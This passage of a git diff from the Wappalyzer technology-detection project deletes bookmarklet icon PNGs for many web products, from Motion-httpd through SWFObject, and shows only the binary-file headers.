a/Wappalyzer/drivers/bookmarklet/images/icons/Motion-httpd.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Movable Type.png b/Wappalyzer/drivers/bookmarklet/images/icons/Movable Type.png deleted file mode 100644 index c578ca6..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Movable Type.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Moxa.png b/Wappalyzer/drivers/bookmarklet/images/icons/Moxa.png deleted file mode 100644 index df126a6..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Moxa.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Mozard Suite.png b/Wappalyzer/drivers/bookmarklet/images/icons/Mozard Suite.png deleted file mode 100644 index 14f6eeb..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Mozard Suite.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Mura CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/Mura CMS.png deleted file mode 100644 index 65ae358..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Mura CMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Mustache.png b/Wappalyzer/drivers/bookmarklet/images/icons/Mustache.png deleted file mode 100644 index c7eef19..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Mustache.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/MyBB.png b/Wappalyzer/drivers/bookmarklet/images/icons/MyBB.png deleted file mode 100644 index e97f930..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/MyBB.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/MyBlogLog.png b/Wappalyzer/drivers/bookmarklet/images/icons/MyBlogLog.png deleted file mode 100644 index a13ae44..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/MyBlogLog.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/MySQL.png b/Wappalyzer/drivers/bookmarklet/images/icons/MySQL.png deleted file mode 100644 index a2b9def..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/MySQL.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Mynetcap.png b/Wappalyzer/drivers/bookmarklet/images/icons/Mynetcap.png deleted file mode 100644 index 01ee5bc..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Mynetcap.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/NOIX.png b/Wappalyzer/drivers/bookmarklet/images/icons/NOIX.png deleted file mode 100644 index ae6f9fe..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/NOIX.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/NVD3.png b/Wappalyzer/drivers/bookmarklet/images/icons/NVD3.png deleted file mode 100644 index 42cbe9c..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/NVD3.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Nedstat.png b/Wappalyzer/drivers/bookmarklet/images/icons/Nedstat.png deleted file mode 100644 index 2ffb430..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Nedstat.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Nepso.png b/Wappalyzer/drivers/bookmarklet/images/icons/Nepso.png deleted file mode 100644 index e14ba06..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Nepso.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Netmonitor.png b/Wappalyzer/drivers/bookmarklet/images/icons/Netmonitor.png deleted file mode 100644 index 45da0d7..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Netmonitor.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Nette Framework.png b/Wappalyzer/drivers/bookmarklet/images/icons/Nette Framework.png deleted file mode 100644 index c3aeeb7..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Nette Framework.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/New Relic.png b/Wappalyzer/drivers/bookmarklet/images/icons/New Relic.png deleted file mode 100644 index bf5c3a1..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/New Relic.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Nginx.png b/Wappalyzer/drivers/bookmarklet/images/icons/Nginx.png deleted file mode 100644 index d3a1648..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Nginx.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Nokia Maps.png b/Wappalyzer/drivers/bookmarklet/images/icons/Nokia Maps.png deleted file mode 100644 index 5045e96..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Nokia Maps.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/OXID eShop.png b/Wappalyzer/drivers/bookmarklet/images/icons/OXID eShop.png deleted file mode 100644 index fac817d..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/OXID eShop.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/October CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/October CMS.png deleted file mode 100644 index 0bdc1fe..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/October CMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/OmniTouch 8660 My Teamwork.png b/Wappalyzer/drivers/bookmarklet/images/icons/OmniTouch 8660 My Teamwork.png deleted file mode 100644 index 012c09d..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/OmniTouch 8660 My Teamwork.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/OneStat.png b/Wappalyzer/drivers/bookmarklet/images/icons/OneStat.png deleted file mode 100644 index 1513be9..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/OneStat.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Open AdStream.png b/Wappalyzer/drivers/bookmarklet/images/icons/Open AdStream.png deleted file mode 100644 index 1b14722..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Open AdStream.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Open Journal Systems.png b/Wappalyzer/drivers/bookmarklet/images/icons/Open Journal Systems.png deleted file mode 100644 index 57c1795..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Open Journal Systems.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Open Web Analytics.png b/Wappalyzer/drivers/bookmarklet/images/icons/Open Web Analytics.png deleted file mode 100644 index 9135787..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Open Web Analytics.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/OpenCart.png b/Wappalyzer/drivers/bookmarklet/images/icons/OpenCart.png deleted file mode 100644 index d6add7f..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/OpenCart.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/OpenGSE.png b/Wappalyzer/drivers/bookmarklet/images/icons/OpenGSE.png deleted file mode 100644 index 78b6956..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/OpenGSE.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/OpenGrok.png b/Wappalyzer/drivers/bookmarklet/images/icons/OpenGrok.png deleted file mode 100644 index f56b970..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/OpenGrok.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/OpenLayers.png b/Wappalyzer/drivers/bookmarklet/images/icons/OpenLayers.png deleted file mode 100644 index 7fa4ec6..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/OpenLayers.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/OpenNemas.png b/Wappalyzer/drivers/bookmarklet/images/icons/OpenNemas.png deleted file mode 100644 index f0d3701..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/OpenNemas.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/OpenSSL.png b/Wappalyzer/drivers/bookmarklet/images/icons/OpenSSL.png deleted file mode 100644 index d37845a..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/OpenSSL.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/OpenText Web Solutions.png b/Wappalyzer/drivers/bookmarklet/images/icons/OpenText Web Solutions.png deleted file mode 100644 index 58a3025..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/OpenText Web Solutions.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Ophal.png b/Wappalyzer/drivers/bookmarklet/images/icons/Ophal.png deleted file mode 100644 index 22dc9c1..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Ophal.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Optimizely.png b/Wappalyzer/drivers/bookmarklet/images/icons/Optimizely.png deleted file mode 100644 index cb21ba0..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Optimizely.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Oracle Application Server.png b/Wappalyzer/drivers/bookmarklet/images/icons/Oracle Application Server.png deleted file mode 100644 index 435d816..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Oracle Application Server.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Oracle Dynamic Monitoring Service.png b/Wappalyzer/drivers/bookmarklet/images/icons/Oracle Dynamic Monitoring Service.png deleted file mode 100644 index 435d816..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Oracle Dynamic Monitoring Service.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Oracle HTTP Server.png b/Wappalyzer/drivers/bookmarklet/images/icons/Oracle HTTP Server.png deleted file mode 100644 index 435d816..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Oracle HTTP Server.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Oracle Recommendations On Demand.png b/Wappalyzer/drivers/bookmarklet/images/icons/Oracle Recommendations On Demand.png deleted file mode 100644 index 435d816..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Oracle Recommendations On Demand.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Oracle Web Cache.png b/Wappalyzer/drivers/bookmarklet/images/icons/Oracle Web Cache.png deleted file mode 100644 index 435d816..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Oracle Web Cache.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Outbrain.png b/Wappalyzer/drivers/bookmarklet/images/icons/Outbrain.png deleted file mode 100644 index be8d70e..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Outbrain.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Outlook Web App.png b/Wappalyzer/drivers/bookmarklet/images/icons/Outlook Web App.png deleted file mode 100644 index 6938a86..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Outlook Web App.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/PANSITE.png b/Wappalyzer/drivers/bookmarklet/images/icons/PANSITE.png deleted file mode 100644 index a2d74d9..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/PANSITE.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/PDF.js.png b/Wappalyzer/drivers/bookmarklet/images/icons/PDF.js.png deleted file mode 100644 index 74fa6bb..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/PDF.js.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/PHP-Fusion.png b/Wappalyzer/drivers/bookmarklet/images/icons/PHP-Fusion.png deleted file mode 100644 index f64b7ec..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/PHP-Fusion.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/PHP-Nuke.png b/Wappalyzer/drivers/bookmarklet/images/icons/PHP-Nuke.png deleted file mode 100644 index 9bb91a9..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/PHP-Nuke.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/PHP.png b/Wappalyzer/drivers/bookmarklet/images/icons/PHP.png deleted file mode 100644 index 47525ab..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/PHP.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Pagekit.png b/Wappalyzer/drivers/bookmarklet/images/icons/Pagekit.png deleted file mode 100644 index 9c28651..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Pagekit.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Pardot.png b/Wappalyzer/drivers/bookmarklet/images/icons/Pardot.png deleted file mode 100644 index efd9991..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Pardot.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Parse.ly.png b/Wappalyzer/drivers/bookmarklet/images/icons/Parse.ly.png deleted file mode 100644 index c8affd3..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Parse.ly.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/PayPal.png b/Wappalyzer/drivers/bookmarklet/images/icons/PayPal.png deleted file mode 100644 index d935d28..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/PayPal.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/PencilBlue.png b/Wappalyzer/drivers/bookmarklet/images/icons/PencilBlue.png deleted file mode 100644 index bb558ff..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/PencilBlue.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Percussion.png b/Wappalyzer/drivers/bookmarklet/images/icons/Percussion.png deleted file mode 100644 index 3094bce..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Percussion.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/PerfSONAR-PS.png b/Wappalyzer/drivers/bookmarklet/images/icons/PerfSONAR-PS.png deleted file mode 100755 index f5e1402..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/PerfSONAR-PS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Perl.png b/Wappalyzer/drivers/bookmarklet/images/icons/Perl.png deleted file mode 100644 index f903e4b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Perl.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Petrojs.png b/Wappalyzer/drivers/bookmarklet/images/icons/Petrojs.png deleted file mode 100644 index aa461cc..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Petrojs.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Phaser.png b/Wappalyzer/drivers/bookmarklet/images/icons/Phaser.png deleted file mode 100644 index 69783af..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Phaser.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Piano Solo.png b/Wappalyzer/drivers/bookmarklet/images/icons/Piano Solo.png deleted file mode 100644 index 8123857..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Piano Solo.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Piwik.png b/Wappalyzer/drivers/bookmarklet/images/icons/Piwik.png deleted file mode 100644 index 70af5df..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Piwik.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Planet.png b/Wappalyzer/drivers/bookmarklet/images/icons/Planet.png deleted file mode 100644 index 022a4d8..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Planet.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Plentymarkets.png b/Wappalyzer/drivers/bookmarklet/images/icons/Plentymarkets.png deleted file mode 100644 index 2c047fd..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Plentymarkets.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Plesk.png b/Wappalyzer/drivers/bookmarklet/images/icons/Plesk.png deleted file mode 100644 index d668ab8..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Plesk.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Pligg.png b/Wappalyzer/drivers/bookmarklet/images/icons/Pligg.png deleted file mode 100644 index 2bffb0a..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Pligg.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Plone.png b/Wappalyzer/drivers/bookmarklet/images/icons/Plone.png deleted file mode 100644 index 30e4f7f..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Plone.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Plura.png b/Wappalyzer/drivers/bookmarklet/images/icons/Plura.png deleted file mode 100644 index de31136..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Plura.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Po.st.png b/Wappalyzer/drivers/bookmarklet/images/icons/Po.st.png deleted file mode 100644 index 8679c87..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Po.st.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Polymer.png b/Wappalyzer/drivers/bookmarklet/images/icons/Polymer.png deleted file mode 100644 index aa8b097..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Polymer.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Posterous.png b/Wappalyzer/drivers/bookmarklet/images/icons/Posterous.png deleted file mode 100644 index 3150f4f..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Posterous.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Powergap.png b/Wappalyzer/drivers/bookmarklet/images/icons/Powergap.png deleted file mode 100644 index a44725a..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Powergap.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Prefix-Free.png b/Wappalyzer/drivers/bookmarklet/images/icons/Prefix-Free.png deleted file mode 100644 index 722f0f1..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Prefix-Free.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Prestashop.png b/Wappalyzer/drivers/bookmarklet/images/icons/Prestashop.png deleted file mode 100644 index 6d1e090..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Prestashop.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Project Wonderful.png b/Wappalyzer/drivers/bookmarklet/images/icons/Project Wonderful.png deleted file mode 100644 index 5a93408..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Project Wonderful.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Prototype.png b/Wappalyzer/drivers/bookmarklet/images/icons/Prototype.png deleted file mode 100644 index 372d353..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Prototype.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Protovis.png b/Wappalyzer/drivers/bookmarklet/images/icons/Protovis.png deleted file mode 100644 index 2e51915..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Protovis.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Pure CSS.png b/Wappalyzer/drivers/bookmarklet/images/icons/Pure CSS.png deleted file mode 100644 index 862c2d3..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Pure CSS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Python.png b/Wappalyzer/drivers/bookmarklet/images/icons/Python.png deleted file mode 100644 index 76467ab..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Python.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Quantcast.png b/Wappalyzer/drivers/bookmarklet/images/icons/Quantcast.png deleted file mode 100644 index 9f062ab..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Quantcast.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Quick.CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/Quick.CMS.png deleted file mode 100644 index 4f250d8..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Quick.CMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Quick.Cart.png b/Wappalyzer/drivers/bookmarklet/images/icons/Quick.Cart.png deleted file mode 100644 index 4f250d8..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Quick.Cart.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/RAID HTTPServer.png b/Wappalyzer/drivers/bookmarklet/images/icons/RAID HTTPServer.png deleted file mode 100644 index 2e51915..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/RAID HTTPServer.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/RBS Change.png b/Wappalyzer/drivers/bookmarklet/images/icons/RBS Change.png deleted file mode 100644 index cce994e..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/RBS Change.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/RCMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/RCMS.png deleted file mode 100644 index ef48b16..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/RCMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/RDoc.png b/Wappalyzer/drivers/bookmarklet/images/icons/RDoc.png deleted file mode 100644 index 102c4bc..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/RDoc.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/RackCache.png b/Wappalyzer/drivers/bookmarklet/images/icons/RackCache.png deleted file mode 100644 index 1f04651..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/RackCache.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Raphael.png b/Wappalyzer/drivers/bookmarklet/images/icons/Raphael.png deleted file mode 100644 index ba220ee..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Raphael.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Rapid Logic.png b/Wappalyzer/drivers/bookmarklet/images/icons/Rapid Logic.png deleted file mode 100644 index 2e51915..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Rapid Logic.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/React.png b/Wappalyzer/drivers/bookmarklet/images/icons/React.png deleted file mode 100644 index da20b6e..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/React.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ReallyCMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/ReallyCMS.png deleted file mode 100644 index a0b6a30..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/ReallyCMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Red Hat.png b/Wappalyzer/drivers/bookmarklet/images/icons/Red Hat.png deleted file mode 100644 index 25596be..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Red Hat.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Reddit.png b/Wappalyzer/drivers/bookmarklet/images/icons/Reddit.png deleted file mode 100644 index 10ee756..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Reddit.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Redmine.png b/Wappalyzer/drivers/bookmarklet/images/icons/Redmine.png deleted file mode 100644 index f29fee6..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Redmine.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Reinvigorate.png b/Wappalyzer/drivers/bookmarklet/images/icons/Reinvigorate.png deleted file mode 100644 index 08097b1..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Reinvigorate.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/RequireJS.png b/Wappalyzer/drivers/bookmarklet/images/icons/RequireJS.png deleted file mode 100644 index a9e3a95..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/RequireJS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Reveal.js.png b/Wappalyzer/drivers/bookmarklet/images/icons/Reveal.js.png deleted file mode 100644 index 63bb677..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Reveal.js.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/RiteCMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/RiteCMS.png deleted file mode 100644 index 939024a..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/RiteCMS.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/RoundCube.png b/Wappalyzer/drivers/bookmarklet/images/icons/RoundCube.png deleted file mode 100644 index b76b170..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/RoundCube.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Ruby on Rails.png b/Wappalyzer/drivers/bookmarklet/images/icons/Ruby on Rails.png deleted file mode 100644 index 09a9fbe..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Ruby on Rails.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Ruby.png b/Wappalyzer/drivers/bookmarklet/images/icons/Ruby.png deleted file mode 100644 index 6b9f20f..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/Ruby.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/S.Builder.png b/Wappalyzer/drivers/bookmarklet/images/icons/S.Builder.png deleted file mode 100644 index 3319bec..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/S.Builder.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SAP.png b/Wappalyzer/drivers/bookmarklet/images/icons/SAP.png deleted file mode 100644 index 4c213e7..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/SAP.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SDL Tridion.png b/Wappalyzer/drivers/bookmarklet/images/icons/SDL Tridion.png deleted file mode 100644 index 753a379..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/SDL Tridion.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SIMsite.png b/Wappalyzer/drivers/bookmarklet/images/icons/SIMsite.png deleted file mode 100644 index b12d1f2..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/SIMsite.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SMF.png b/Wappalyzer/drivers/bookmarklet/images/icons/SMF.png deleted file mode 100644 index 19df666..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/SMF.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SOBI 2.png b/Wappalyzer/drivers/bookmarklet/images/icons/SOBI 2.png deleted file mode 100644 index 75ff050..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/SOBI 2.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SPDY.png b/Wappalyzer/drivers/bookmarklet/images/icons/SPDY.png deleted file mode 100644 index 8c52d1f..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/SPDY.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SPIP.png b/Wappalyzer/drivers/bookmarklet/images/icons/SPIP.png deleted file mode 100644 index 6054c48..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/SPIP.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SQL Buddy.png b/Wappalyzer/drivers/bookmarklet/images/icons/SQL Buddy.png deleted file mode 100644 index a7f95b1..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/SQL Buddy.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SQLite.png b/Wappalyzer/drivers/bookmarklet/images/icons/SQLite.png deleted file mode 100644 index b6a1267..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/SQLite.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SUSE.png b/Wappalyzer/drivers/bookmarklet/images/icons/SUSE.png deleted file mode 100644 index e41a05b..0000000 Binary files a/Wappalyzer/drivers/bookmarklet/images/icons/SUSE.png and /dev/null differ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SWFObject.png 